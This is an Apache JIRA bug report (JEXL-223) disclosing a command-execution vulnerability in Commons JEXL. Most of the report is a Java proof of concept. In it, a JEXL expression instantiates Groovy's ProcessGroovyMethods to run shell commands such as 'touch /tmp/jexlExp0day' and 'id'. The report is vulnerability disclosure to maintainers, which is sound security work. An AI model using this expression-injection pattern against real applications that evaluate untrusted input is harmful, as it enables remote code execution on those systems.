cnbird created JEXL-223:
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Summary: Apache Commons JEXL Expression Execute Command
Vulnerabilitity
Key: JEXL-223
URL: https://issues.apache.org/jira/browse/JEXL-223
Project: Commons JEXL
Issue Type: Bug
Reporter: cnbird
Priority: Critical
0x01 Summary
Apache Commons JEXL Expression Execute Command Vulnerabilitity throught groovy.
0x02 POC
import java.io.IOException;
import java.util.List;
import org.apache.commons.jexl3.JexlBuilder;
import org.apache.commons.jexl3.JexlContext;
import org.apache.commons.jexl3.JexlEngine;
import org.apache.commons.jexl3.JexlExpression;
import org.apache.commons.jexl3.MapContext;
import org.codehaus.groovy.runtime.ProcessGroovyMethods;
public class elExp {
public static void main(String args[]) throws IOException {
// Create or retrieve an engine
JexlEngine jexl = new JexlBuilder().create();
// Create an expression
//String jexlExp = "new(\"java.lang.String\", \"hello wolrd\")";
ProcessGroovyMethods n = new ProcessGroovyMethods();
System.out.println(n.execute("id").toString());
String jexlExp =
"new(\"org.codehaus.groovy.runtime.ProcessGroovyMethods\").execute(\"touch
/tmp/jexlExp0day\")";
JexlExpression e = jexl.createExpression( jexlExp );
try {
Process process = new ProcessBuilder("id").start();
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
// Create a context and add data
JexlContext jc = new MapContext();
jc.set("foo", jexlExp );
// Now evaluate the expression, getting the result
Object o = e.evaluate(jc);
System.out.println(o);
}
}
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